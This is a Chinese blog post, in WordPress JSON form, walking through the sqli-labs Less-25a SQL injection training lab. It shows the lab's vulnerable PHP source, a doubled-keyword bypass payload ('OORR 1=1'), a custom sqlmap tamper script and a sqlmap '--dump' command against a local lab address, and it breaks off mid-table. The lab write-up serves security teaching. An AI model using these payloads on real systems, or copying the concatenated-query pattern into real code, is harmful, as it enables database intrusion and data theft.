{"id":49138,"date":"2025-07-30T16:06:52","date_gmt":"2025-07-30T08:06:52","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/49138.html"},"modified":"2025-07-30T16:06:52","modified_gmt":"2025-07-30T08:06:52","slug":"sqli-labs%e9%80%9a%e5%85%b3%e7%ac%94%e8%ae%b0-%e7%ac%ac25a%e5%85%b3get%e5%9e%8b%e6%95%b0%e5%80%bc%e6%b3%a8%e5%85%a5%e8%bf%87%e6%bb%a4or%e5%92%8cand-%e8%84%9a%e6%9c%ac%e6%b3%95","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/49138.html","title":{"rendered":"sqli-labs\u901a\u5173\u7b14\u8bb0-\u7b2c25a\u5173GET\u578b\u6570\u503c\u6ce8\u5165(\u8fc7\u6ee4or\u548cand \u811a\u672c\u6cd5)"},"content":{"rendered":"<p>\u76ee\u5f55<\/p>\n<p id=\"%E4%B8%80%E3%80%81%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90-toc\" style=\"margin-left:0px\">\u4e00\u3001sqlmap\u4e4btamper\u811a\u672c<\/p>\n<p id=\"%E4%BA%8C%E3%80%81%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90-toc\" style=\"margin-left:0px\">\u4e8c\u3001\u6e90\u7801\u5206\u6790<\/p>\n<p id=\"1%E3%80%81%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-toc\" style=\"margin-left:40px\">1\u3001\u4ee3\u7801\u5ba1\u8ba1<\/p>\n<p id=\"2%E3%80%81SQL%E5%AE%89%E5%85%A8%E6%80%A7%E5%88%86%E6%9E%90-toc\" style=\"margin-left:40px\">2\u3001SQL\u5b89\u5168\u6027\u5206\u6790<\/p>\n<p id=\"%E4%BA%8C%E3%80%81%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98-toc\" style=\"margin-left:0px\">\u4e09\u3001\u6e17\u900f\u5b9e\u6218<\/p>\n<p id=\"1%E3%80%81%E8%BF%9B%E5%85%A5%E9%9D%B6%E5%9C%BA-toc\" style=\"margin-left:40px\">1\u3001\u8fdb\u5165\u9776\u573a<\/p>\n<p id=\"2%E3%80%81tamper%E8%84%9A%E6%9C%AC-toc\" style=\"margin-left:40px\">2\u3001tamper\u811a\u672c<\/p>\n<p id=\"2%E3%80%81sqlmap%E6%B8%97%E9%80%8F%C2%A0-toc\" style=\"margin-left:40px\">3\u3001sqlmap\u6e17\u900f\u00a0<\/p>\n<hr id=\"hr-toc\" \/>\n<p>SQLI-LABS \u662f\u4e00\u4e2a\u4e13\u95e8\u4e3a\u5b66\u4e60\u548c\u7ec3\u4e60 SQL \u6ce8\u5165\u6280\u672f\u800c\u8bbe\u8ba1\u7684\u5f00\u6e90\u9776\u573a\u73af\u5883&#xff0c;\u672c\u5c0f\u8282\u5bf9\u7b2c25a\u5173Less 25a\u57fa\u4e8eGET\u6570\u503c\u578b\u7684SQL\u6ce8\u5165\u5173\u5361\u8fdb\u884c\u6e17\u900f\u5b9e\u6218&#xff0c;\u8be5\u5173\u5361\u8fc7\u6ee4\u5173\u952e\u5b57and\u548cor\u9632\u6b62SQL\u6ce8\u5165\u653b\u51fb&#xff0c;\u672c\u5173\u5361\u4e0e25\u5173\u7684\u533a\u522b\u662f\u95ed\u5408\u65b9\u5f0f\u4e0d\u540c&#xff0c;\u672c\u5173\u5361\u4e3a\u6570\u503c\u578b\u6ce8\u5165&#xff0c;\u53e6\u5916\u4e00\u4e2a\u533a\u522b\u662f\u672c\u5173\u5361\u4e0d\u518d\u6253\u5370\u6570\u636e\u5e93\u62a5\u9519\u4fe1\u606f&#xff0c;\u6545\u800c\u65e0\u6cd5\u4f7f\u7528\u62a5\u9519\u6cd5\u6e17\u900f\u3002<\/p>\n<h2 id=\"%E4%B8%80%E3%80%81%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90\">\u4e00\u3001sqlmap\u4e4btamper\u811a\u672c<\/h2>\n<p>sqlmap \u662f\u4e00\u6b3e\u5f00\u6e90\u81ea\u52a8\u5316 SQL \u6ce8\u5165\u5de5\u5177&#xff0c;\u652f\u6301\u591a\u79cd\u6ce8\u5165\u7c7b\u578b&#xff0c;\u53ef\u63a2\u6d4b\u3001\u5229\u7528SQL\u6ce8\u5165\u83b7\u53d6\u6570\u636e\u5e93\u4fe1\u606f&#xff0c;\u9700\u5728\u5408\u6cd5\u6388\u6743\u4e0b\u4f7f\u7528\u3002<\/p>\n<p>tamper \u811a\u672c\u662f sqlmap \u7684\u63d2\u4ef6&#xff0c;\u7528\u4e8e\u7ed5\u8fc7\u9632\u62a4\u673a\u5236&#xff0c;\u5982\u7f16\u7801\u8f6c\u6362\u3001\u8fc7\u6ee4\u5173\u952e\u8bcd\u7b49&#xff0c;\u901a\u8fc7\u4fee\u6539 Payload \u7ed3\u6784\u63d0\u5347\u6ce8\u5165\u6210\u529f\u7387&#xff0c;\u9002\u914d\u4e0d\u540c\u9632\u62a4\u573a\u666f&#xff0c;\u662f\u5de5\u5177\u7075\u6d3b\u6027\u548c\u7ed5\u8fc7\u80fd\u529b\u7684\u5173\u952e\u7ec4\u4ef6\u3002tamper\u811a\u672c\u5141\u8bb8\u7528\u6237\u81ea\u5b9a\u4e49\u4fee\u6539\u6ce8\u5165payload&#xff0c;\u4e3b\u8981\u7528\u4e8e\u7ed5\u8fc7WAF\/IDS\/IPS\u7b49\u5b89\u5168\u9632\u62a4\u3002\u4ee5\u4e0b\u662f\u7f16tamper\u811a\u672c\u7684\u57fa\u672c\u7ed3\u6784&#xff0c;\u5177\u4f53\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<p>#!\/usr\/bin\/env python<\/p>\n<p>from lib.core.enums import PRIORITY<\/p>\n<p>__priority__ &#061; PRIORITY.NORMAL  # \u5b9a\u4e49\u811a\u672c\u4f18\u5148\u7ea7<\/p>\n<p>def dependencies():<br \/>\n    pass  # \u5b9a\u4e49\u4f9d\u8d56\u5173\u7cfb&#xff08;\u53ef\u9009&#xff09;<\/p>\n<p>def tamper(payload, **kwargs):<br \/>\n    &#034;&#034;&#034;<br \/>\n    \u4e3b\u5904\u7406\u51fd\u6570&#xff0c;\u63a5\u6536\u539f\u59cbpayload&#xff0c;\u8fd4\u56de\u4fee\u6539\u540e\u7684payload<br \/>\n    &#034;&#034;&#034;<br \/>\n    return payload <\/p>\n<h2 id=\"%E4%BA%8C%E3%80%81%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90\">\u4e8c\u3001\u6e90\u7801\u5206\u6790<\/h2>\n<h3 id=\"1%E3%80%81%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1\">1\u3001\u4ee3\u7801\u5ba1\u8ba1<\/h3>\n<p>\u672c\u5173\u5361Less25\u662f\u57fa\u4e8eGET\u5b57\u7b26\u578b\u7684SQL\u6ce8\u5165\u5173\u5361&#xff0c;\u6253\u5f00\u5bf9\u5e94\u7684\u6e90\u7801index.php&#xff0c;\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"151\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/07\/20250730080648-6889d298a9c4d.png\" width=\"992\" \/><\/p>\n<p>Less25a\u5173\u5361\u529f\u80fd\u662f\u7b80\u5355\u57fa\u4e8eid\u7684\u67e5\u8be2\u9875\u9762&#xff0c;\u76f8\u5bf9\u4e8e25\u5173\u7684\u533a\u522b\u4e3b\u8981\u662f\u95ed\u5408\u65b9\u5f0f\u53d8\u4e3a\u6570\u503c\u578b&#xff0c;\u4e14\u4e0d\u518d\u6253\u5370\u6570\u636e\u5e93\u7684\u62a5\u9519\u4fe1\u606f&#xff0c;\u5bf9\u6bd4\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"859\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/07\/20250730080648-6889d298c9841.png\" width=\"1920\" \/><\/p>\n<p>25a\u5173\u5361\u7ecf\u8fc7\u8be6\u7ec6\u6ce8\u91ca\u540e\u7684\u4ee3\u7801\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<p>&lt;!DOCTYPE html PUBLIC &#034;-\/\/W3C\/\/DTD XHTML 1.0 Transitional\/\/EN&#034; &#034;http:\/\/www.w3.org\/TR\/xhtml1\/DTD\/xhtml1-transitional.dtd&#034;&gt;<br \/>\n&lt;!&#8211; XHTML 1.0 Transitional \u6587\u6863\u7c7b\u578b\u58f0\u660e &#8211;&gt;<br \/>\n&lt;html xmlns&#061;&#034;http:\/\/www.w3.org\/1999\/xhtml&#034;&gt;<br \/>\n&lt;!&#8211; HTML\u6587\u6863\u6839\u5143\u7d20&#xff0c;XML\u547d\u540d\u7a7a\u95f4\u58f0\u660e &#8211;&gt;<br \/>\n&lt;head&gt;<br \/>\n&lt;!&#8211; \u6587\u6863\u5934\u90e8\u5f00\u59cb &#8211;&gt;<br \/>\n&lt;meta http-equiv&#061;&#034;Content-Type&#034; content&#061;&#034;text\/html; charset&#061;utf-8&#034; \/&gt;<br \/>\n&lt;!&#8211; \u5143\u6570\u636e&#xff1a;\u5185\u5bb9\u7c7b\u578b\u548c\u5b57\u7b26\u7f16\u7801\u8bbe\u7f6e &#8211;&gt;<br \/>\n&lt;title&gt;Less-25a Trick with OR &amp; AND Blind&lt;\/title&gt;<br \/>\n&lt;!&#8211; \u9875\u9762\u6807\u9898 &#8211;&gt;<br \/>\n&lt;\/head&gt;<br \/>\n&lt;!&#8211; \u6587\u6863\u5934\u90e8\u7ed3\u675f &#8211;&gt;<\/p>\n<p>&lt;body bgcolor&#061;&#034;#000000&#034;&gt;<br \/>\n&lt;!&#8211; \u6587\u6863\u4e3b\u4f53\u5f00\u59cb&#xff0c;\u80cc\u666f\u8272\u8bbe\u4e3a\u9ed1\u8272 &#8211;&gt;<br \/>\n&lt;div style&#061;&#034; margin-top:60px;color:#FFF; font-size:23px; text-align:center&#034;&gt;<br \/>\n&lt;!&#8211; \u9876\u90e8div\u5bb9\u5668&#xff0c;\u8bbe\u7f6e\u6837\u5f0f &#8211;&gt;<br \/>\nWelcome&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;font color&#061;&#034;#FF0000&#034;&gt; Dhakkan &lt;\/font&gt;&lt;br&gt;<br \/>\n&lt;!&#8211; \u6b22\u8fce\u6587\u672c&#xff0c;&#034;Dhakkan&#034;\u663e\u793a\u4e3a\u7ea2\u8272 &#8211;&gt;<br \/>\n&lt;font size&#061;&#034;3&#034; color&#061;&#034;#FFFF00&#034;&gt;<br \/>\n&lt;!&#8211; \u8bbe\u7f6e\u5b57\u4f53\u5927\u5c0f\u548c\u989c\u8272 &#8211;&gt;<\/p>\n<p>&lt;?php<br \/>\n\/\/ PHP\u4ee3\u7801\u5f00\u59cb<\/p>\n<p>\/\/ \u5305\u542bMySQL\u8fde\u63a5\u914d\u7f6e\u6587\u4ef6<br \/>\ninclude(&#034;..\/sql-connections\/sql-connect.php&#034;);<\/p>\n<p>\/\/ \u68c0\u67e5\u662f\u5426\u901a\u8fc7GET\u65b9\u6cd5\u63a5\u6536\u5230id\u53c2\u6570<br \/>\nif(isset($_GET[&#039;id&#039;]))<br \/>\n{<br \/>\n    \/\/ \u83b7\u53d6id\u53c2\u6570\u503c<br \/>\n    $id&#061;$_GET[&#039;id&#039;];<\/p>\n<p>    \/\/ \u8bb0\u5f55\u8fde\u63a5\u53c2\u6570\u5230\u6587\u4ef6\u7528\u4e8e\u5206\u6790<br \/>\n    $fp&#061;fopen(&#039;result.txt&#039;,&#039;a&#039;);  \/\/ \u6253\u5f00\u6587\u4ef6(\u8ffd\u52a0\u6a21\u5f0f)<br \/>\n    fwrite($fp,&#039;ID:&#039;.$id.&#034;\\\\n&#034;);   \/\/ \u5199\u5165ID\u503c<br \/>\n    fclose($fp);                  \/\/ \u5173\u95ed\u6587\u4ef6<\/p>\n<p>    \/\/ \u8fc7\u6ee4\u6ce8\u91ca\u548c\u7279\u6b8a\u5b57\u7b26<br \/>\n    $id&#061; blacklist($id);  \/\/ \u8c03\u7528\u9ed1\u540d\u5355\u8fc7\u6ee4\u51fd\u6570<\/p>\n<p>    \/\/ \u8c03\u8bd5\u7528\u8f93\u51fa(\u88ab\u6ce8\u91ca)<br \/>\n    \/\/echo &#034;&lt;br&gt;&#034;;<br \/>\n    \/\/echo $id;<br \/>\n    \/\/echo &#034;&lt;br&gt;&#034;;<\/p>\n<p>    $hint&#061;$id;  \/\/ \u4fdd\u5b58\u8fc7\u6ee4\u540e\u7684id\u7528\u4e8e\u63d0\u793a\u663e\u793a<\/p>\n<p>    \/\/ \u6570\u636e\u5e93\u8fde\u63a5\u548c\u67e5\u8be2<br \/>\n    $sql&#061;&#034;SELECT * FROM users WHERE id&#061;$id LIMIT 0,1&#034;;  \/\/ \u6784\u5efaSQL\u67e5\u8be2<br \/>\n    $result&#061;mysql_query($sql);      \/\/ \u6267\u884c\u67e5\u8be2<br \/>\n    $row &#061; mysql_fetch_array($result);  \/\/ \u83b7\u53d6\u7ed3\u679c\u6570\u7ec4<\/p>\n<p>    \/\/ \u68c0\u67e5\u662f\u5426\u67e5\u8be2\u5230\u7ed3\u679c<br \/>\n    if($row)<br \/>\n    {<br \/>\n        echo &#034;&lt;font size&#061;&#039;5&#039; color&#061; &#039;#99FF00&#039;&gt;&#034;;  \/\/ \u8bbe\u7f6e\u6210\u529f\u6d88\u606f\u6837\u5f0f<br \/>\n        echo &#039;Your Login name:&#039;. $row[&#039;username&#039;];  \/\/ \u663e\u793a\u7528\u6237\u540d<br \/>\n        echo &#034;&lt;br&gt;&#034;;<br \/>\n        echo &#039;Your Password:&#039; .$row[&#039;password&#039;];    \/\/ \u663e\u793a\u5bc6\u7801<br \/>\n        echo &#034;&lt;\/font&gt;&#034;;<br \/>\n    }<br \/>\n    else<br \/>\n    {<br \/>\n        \/\/ \u67e5\u8be2\u5931\u8d25\u65f6\u7684\u8f93\u51fa<br \/>\n        echo &#039;&lt;font size&#061;&#034;5&#034; color&#061;&#034;#FFFF00&#034;&gt;&#039;;<br \/>\n        \/\/ \u88ab\u6ce8\u91ca\u7684\u9519\u8bef\u8f93\u51fa<br \/>\n        \/\/echo &#039;You are in&#8230;&#8230;&#8230;..&#039;;<br \/>\n        \/\/print_r(mysql_error());<br \/>\n        \/\/echo &#034;You have an error in your SQL syntax&#034;;<br \/>\n        echo &#034;&lt;\/br&gt;&lt;\/font&gt;&#034;;<br \/>\n        echo &#039;&lt;font color&#061; &#034;#0000ff&#034; font size&#061; 3&gt;&#039;;<br \/>\n    }<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\n    \/\/ \u6ca1\u6709\u63a5\u6536\u5230id\u53c2\u6570\u65f6\u7684\u63d0\u793a<br \/>\n    echo &#034;Please input the ID as parameter with numeric value&#034;;<br \/>\n}<\/p>\n<p>\/**<br \/>\n * \u9ed1\u540d\u5355\u8fc7\u6ee4\u51fd\u6570<br \/>\n * \u79fb\u9664SQL\u5173\u952e\u5b57(\u4e0d\u533a\u5206\u5927\u5c0f\u5199)<br \/>\n * &#064;param string $id \u7528\u6237\u8f93\u5165\u7684ID\u503c<br \/>\n * &#064;return string \u8fc7\u6ee4\u540e\u7684ID\u503c<br \/>\n *\/<br \/>\nfunction blacklist($id)<br \/>\n{<br \/>\n    $id&#061; preg_replace(&#039;\/or\/i&#039;,&#034;&#034;, $id);      \/\/ \u79fb\u9664\u6240\u6709or(\u4e0d\u533a\u5206\u5927\u5c0f\u5199)<br \/>\n    $id&#061; preg_replace(&#039;\/AND\/i&#039;,&#034;&#034;, $id);    \/\/ \u79fb\u9664\u6240\u6709AND(\u4e0d\u533a\u5206\u5927\u5c0f\u5199)<\/p>\n<p>    return $id;<br \/>\n}<\/p>\n<p>?&gt;<\/p>\n<p>&lt;\/font&gt;<br \/>\n&lt;!&#8211; \u7ed3\u675f\u5b57\u4f53\u8bbe\u7f6e &#8211;&gt;<br \/>\n&lt;\/div&gt;<br \/>\n&lt;!&#8211; \u7ed3\u675f\u9876\u90e8div\u5bb9\u5668 &#8211;&gt;<br \/>\n&lt;\/br&gt;&lt;\/br&gt;&lt;\/br&gt;<br \/>\n&lt;!&#8211; \u6362\u884c &#8211;&gt;<br \/>\n&lt;center&gt;<br \/>\n&lt;!&#8211; \u5185\u5bb9\u5c45\u4e2d &#8211;&gt;<br \/>\n&lt;img src&#061;&#034;..\/images\/Less-25a.jpg&#034; \/&gt;<br \/>\n&lt;!&#8211; \u7b2c\u4e00\u5f20\u56fe\u7247 &#8211;&gt;<br \/>\n&lt;\/br&gt;<br \/>\n&lt;\/br&gt;<br \/>\n&lt;\/br&gt;<br \/>\n&lt;!&#8211; \u6362\u884c &#8211;&gt;<br \/>\n&lt;img src&#061;&#034;..\/images\/Less-25a-1.jpg&#034; \/&gt;<br \/>\n&lt;!&#8211; \u7b2c\u4e8c\u5f20\u56fe\u7247 &#8211;&gt;<br \/>\n&lt;\/br&gt;<br \/>\n&lt;\/br&gt;<br \/>\n&lt;!&#8211; \u6362\u884c &#8211;&gt;<br \/>\n&lt;font size&#061;&#039;4&#039; color&#061; &#034;#33FFFF&#034;&gt;<br \/>\n&lt;!&#8211; \u63d0\u793a\u4fe1\u606f\u5b57\u4f53\u8bbe\u7f6e &#8211;&gt;<br \/>\n&lt;?php<br \/>\n\/\/ \u663e\u793a\u8fc7\u6ee4\u540e\u7684\u8f93\u5165\u63d0\u793a<br \/>\necho &#034;Hint: Your Input is Filtered with following result: &#034;.$hint;<br \/>\n?&gt;<br \/>\n&lt;\/font&gt;<br \/>\n&lt;!&#8211; \u7ed3\u675f\u63d0\u793a\u4fe1\u606f\u5b57\u4f53\u8bbe\u7f6e &#8211;&gt;<br \/>\n&lt;\/center&gt;<br \/>\n&lt;!&#8211; \u7ed3\u675f\u5c45\u4e2d &#8211;&gt;<br \/>\n&lt;\/body&gt;<br \/>\n&lt;!&#8211; \u6587\u6863\u4e3b\u4f53\u7ed3\u675f &#8211;&gt;<br \/>\n&lt;\/html&gt;<br \/>\n&lt;!&#8211; HTML\u6587\u6863\u7ed3\u675f &#8211;&gt; <\/p>\n<p>\u672c\u5173\u5361\u5b9e\u73b0\u4e86\u4e00\u4e2a\u5b58\u5728SQL\u6ce8\u5165\u98ce\u9669\u7684\u7528\u6237\u67e5\u8be2\u7cfb\u7edf&#xff0c;\u5b83\u63a5\u6536\u7528\u6237\u901a\u8fc7URL\u53c2\u6570\u63d0\u4ea4\u7684ID\u503c&#xff0c;\u4f7f\u7528\u9ed1\u540d\u5355\u8fc7\u6ee4\u673a\u5236\u5c1d\u8bd5\u79fb\u9664\u5176\u4e2d\u7684&#034;OR&#034;\u548c&#034;AND&#034;\u5173\u952e\u5b57&#xff08;\u4e0d\u533a\u5206\u5927\u5c0f\u5199&#xff09;\u540e&#xff0c;\u76f4\u63a5\u5c06\u8fc7\u6ee4\u540e\u7684\u503c\u62fc\u63a5\u5230SQL\u67e5\u8be2\u4e2d\u4ece\u6570\u636e\u5e93\u67e5\u8be2\u76f8\u5e94\u7528\u6237\u4fe1\u606f&#xff0c;\u5e76\u5c06\u7528\u6237\u540d\u548c\u5bc6\u7801\u663e\u793a\u5728\u7f51\u9875\u4e0a\u3002\u4ee3\u7801\u7684\u5904\u7406\u903b\u8f91\u6b65\u9aa4\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<ul>\n<li>\n<p>\u68c0\u67e5\u662f\u5426\u5b58\u5728id GET\u53c2\u6570&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u5b58\u5728\u65f6&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u8bb0\u5f55id\u503c\u5230result.txt\u6587\u4ef6<\/p>\n<\/li>\n<li>\n<p>\u8c03\u7528blacklist()\u51fd\u6570\u8fc7\u6ee4\u8f93\u5165&#xff08;\u8fc7\u6ee4\u4e0d\u533a\u5206\u5927\u5c0f\u5199\u7684or\u548cand&#xff09;<\/p>\n<\/li>\n<li>\n<p>\u6784\u5efaSQL\u67e5\u8be2&#xff1a;SELECT * FROM users WHERE id&#061;$id LIMIT 0,1<\/p>\n<\/li>\n<li>\n<p>\u6267\u884c\u67e5\u8be2\u5e76\u663e\u793a\u7ed3\u679c&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u6210\u529f\u65f6\u663e\u793a\u7528\u6237\u540d\u548c\u5bc6\u7801<\/p>\n<\/li>\n<li>\n<p>\u5931\u8d25\u65f6\u4e0d\u663e\u793a\u5177\u4f53\u9519\u8bef\u4fe1\u606f&#xff08;\u4e0d\u6253\u5370\u6570\u636e\u5e93\u62a5\u9519\u4fe1\u606f&#xff0c;\u6545\u65e0\u6cd5\u4f7f\u7528\u62a5\u9519\u6cd5\u6e17\u900f&#xff09;<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u4e0d\u5b58\u5728\u65f6&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u663e\u793a\u63d0\u793a\u4fe1\u606f&#034;Please input the ID as parameter with numeric value&#034;<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>blacklist()\u8fc7\u6ee4\u51fd\u6570&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u4f7f\u7528preg_replace\u79fb\u9664\u6240\u6709&#034;or&#034;(\u4e0d\u533a\u5206\u5927\u5c0f\u5199)<\/p>\n<\/li>\n<li>\n<p>\u4f7f\u7528preg_replace\u79fb\u9664\u6240\u6709&#034;AND&#034;(\u4e0d\u533a\u5206\u5927\u5c0f\u5199)<\/p>\n<\/li>\n<li>\n<p>\u8fd4\u56de\u8fc7\u6ee4\u540e\u7684\u5b57\u7b26\u4e32<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u6700\u540e\u663e\u793a\u7528\u6237\u8f93\u5165\u7ecf\u8fc7\u8fc7\u6ee4\u540e\u7684\u7ed3\u679c($hint)<\/p>\n<\/li>\n<\/ul>\n<h3 id=\"2%E3%80%81SQL%E5%AE%89%E5%85%A8%E6%80%A7%E5%88%86%E6%9E%90\">2\u3001SQL\u5b89\u5168\u6027\u5206\u6790<\/h3>\n<p>\u7cfb\u7edf\u867d\u7136\u901a\u8fc7preg_replace()\u51fd\u6570\u8fdb\u884c\u4e86\u7b80\u5355\u7684\u5173\u952e\u5b57\u8fc7\u6ee4&#xff0c;\u5355\u4ecd\u53ef\u901a\u8fc7\u53cc\u5199\u5173\u952e\u5b57\u7ed5\u8fc7\u8fc7\u6ee4\u673a\u5236&#xff0c;\u5bfc\u81f4\u4f9d\u65e7\u5b58\u5728SQL\u6ce8\u5165\u98ce\u9669&#xff0c;\u653b\u51fb\u8005\u53ef\u4ee5\u6784\u9020\u7279\u6b8a\u8f93\u5165\u6765\u7ed5\u8fc7\u8fc7\u6ee4\u5e76\u6267\u884c\u6076\u610fSQL\u547d\u4ee4&#xff0c;\u4ece\u800c\u83b7\u53d6\u6570\u636e\u5e93\u654f\u611f\u4fe1\u606f\u3002\u6b64\u5916&#xff0c;\u7531\u4e8e\u672c\u5173\u5361\u4ee3\u7801\u6ca1\u6709\u76f4\u63a5\u5c06SQL\u9519\u8bef\u4fe1\u606f\u8f93\u51fa\u5230\u9875\u9762&#xff0c;\u6545\u800c\u672c\u5173\u5361\u65e0\u6cd5\u4f7f\u7528\u62a5\u9519\u6cd5\u6e17\u900f\u3002\u00a0SQL\u8bed\u53e5\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<p>$sql&#061;&#034;SELECT * FROM users WHERE id&#061;$id LIMIT 0,1&#034;; <\/p>\n<p>\u7531\u4e8e\u6e90\u7801\u8fc7\u6ee4\u4e86\u5173\u952e\u5b57or&#xff0c;\u90a3\u4e48\u5982\u679c\u6211\u4eec\u8ba1\u5212\u6ce8\u5165 id&#061;1\u00a0OR 1&#061;1 &#8211;&#043;&#xff0c;\u53ea\u8981\u5c06OR\u53d8\u4e3aOORR&#xff0c;\u5373\u53ef\u5b9e\u73b0\u7ed5\u8fc7\u3002<\/p>\n<p>id&#061;1 OORR 1&#061;1 &#8211;&#043; <\/p>\n<p>\u7ecf\u8fc7blacklist\u51fd\u6570\u5904\u7406\u540e&#xff0c;OORR\u4e2d\u7684OR\u88ab\u66ff\u6362\u4e3a\u7a7a&#xff0c;OORR\u5904\u7406\u540e\u53d8\u4e3a\u4e86OR&#xff0c;\u6ce8\u5165\u8bed\u53e5\u53d8\u4e3a\u5982\u4e0b\u6240\u793a&#xff0c;\u4ece\u800c\u5b9e\u73b0\u4e86\u670d\u52a1\u5668\u7684\u8fc7\u6ee4\u673a\u5236\u7ed5\u8fc7\u3002<\/p>\n<p>1 OR 1&#061;1 &#8211;&#043; <\/p>\n<h2 id=\"%E4%BA%8C%E3%80%81%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98\">\u4e09\u3001\u6e17\u900f\u5b9e\u6218<\/h2>\n<h3 id=\"1%E3%80%81%E8%BF%9B%E5%85%A5%E9%9D%B6%E5%9C%BA\">1\u3001\u8fdb\u5165\u9776\u573a<\/h3>\n<p>\u8fdb\u5165sqli-labs\u9776\u573a\u9996\u9875&#xff0c;\u5176\u4e2d\u5305\u542b\u57fa\u7840\u6ce8\u5165\u5173\u5361\u3001\u8fdb\u9636\u6311\u6218\u5173\u5361\u3001\u7279\u6b8a\u6280\u672f\u5173\u5361\u4e09\u90e8\u5206\u6709\u6548\u5173\u5361&#xff0c;\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<p>http:\/\/192.168.59.1\/sqli-labs\/ <\/p>\n<p>\u70b9\u51fb\u8fdb\u5165Page2&#xff0c;\u5982\u4e0b\u56fe\u7ea2\u6846\u6240\u793a\u3002\u00a0<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"417\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/07\/20250730080649-6889d299b11d0.png\" width=\"1439\" \/><\/p>\n<p>\u5176\u4e2d\u7b2c25\u5173\u5728\u8fdb\u9636\u6311\u6218\u5173\u5361\u201cSQLi-LABS Page-2 (Adv Injections)\u201d\u4e2d&#xff0c;\u00a0\u70b9\u51fb\u8fdb\u5165\u5982\u4e0b\u9875\u9762\u3002<\/p>\n<p>http:\/\/192.168.59.1\/sqli-labs\/index-1.html#fm_imagemap <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"497\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/07\/20250730080650-6889d29a0f871.png\" width=\"1239\" \/><\/p>\n<p id=\"%E2%80%8B%E7%BC%96%E8%BE%91\">\u70b9\u51fb\u4e0a\u56fe\u7ea2\u6846\u7684Less25a\u5173\u5361&#xff0c;\u8fdb\u5165\u5230\u9776\u573a\u7684\u7b2c25a\u5173\u5361&#xff0c;\u9875\u9762\u63d0\u793a\u201cPlease input the ID as parameter with numeric value\u201d&#xff0c;\u5e76\u4e14\u5728\u9875\u9762\u4e0b\u65b9\u63d0\u793aHINT\u4fe1\u606f\u201c\u00a0Hint: Your Input is Filtered with following result:\u00a0\u201d&#xff0c;\u5177\u4f53\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<p>http:\/\/192.168.59.1\/sqli-labs\/Less-25a <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"696\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/07\/20250730080650-6889d29a95a7d.png\" width=\"1470\" \/><\/p>\n<h3 id=\"2%E3%80%81tamper%E8%84%9A%E6%9C%AC\">2\u3001tamper\u811a\u672c<\/h3>\n<p>\u6784\u9020double_and_or.py\u811a\u672c&#xff0c;\u4f7f\u7528\u53cc\u5199\u65b9\u6cd5\u7ed5\u8fc7\u670d\u52a1\u5668\u5bf9or\u548cand\u5173\u952e\u5b57\u7684\u8fc7\u6ee4&#xff0c;\u5176\u4e2dor\u4f7f\u7528oorr\u66ff\u6362&#xff0c;and\u4f7f\u7528anandd\u66ff\u6362&#xff0c;\u8be6\u7ec6\u5185\u5bb9\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<p>#!\/usr\/bin\/env python<br \/>\n&#039;&#039;&#039;<br \/>\nsqlmap \u53cc\u5199\u7ed5\u8fc7<br \/>\n&#039;&#039;&#039;<br \/>\nfrom lib.core.compat import xrange<br \/>\nfrom lib.core.enums import PRIORITY<\/p>\n<p>__priority__ &#061; PRIORITY.LOW<\/p>\n<p>def dependencies():<br \/>\n    pass<\/p>\n<p>def tamper(payload, **kwargs):<br \/>\n    payload&#061; payload.lower()<br \/>\n    payload&#061; payload.replace(&#039;or&#039; , &#039;oorr&#039;)<br \/>\n    payload&#061; payload.replace(&#039;and&#039; , &#039;anandd&#039;)<br \/>\n    retVal&#061;payload<br \/>\n    return retVal <\/p>\n<h3 id=\"2%E3%80%81sqlmap%E6%B8%97%E9%80%8F%C2%A0\">3\u3001sqlmap\u6e17\u900f\u00a0<\/h3>\n<p>\u00a0\u4f7f\u7528\u81ea\u5df1\u7f16\u5199\u7684tamper\u811a\u672c25a.py\u8fdb\u884csqlmap\u6e17\u900f&#xff0c;\u5177\u4f53\u547d\u4ee4\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<p>sqlmap -u http:\/\/192.168.59.1\/sqli-labs\/Less-25a\/?id&#061;1 &#8211;current-db  &#8211;batch  &#8211;tamper 25a.py &#8211;dump <\/p>\n<table>\n<tbody>\n<tr>\n<td>-u 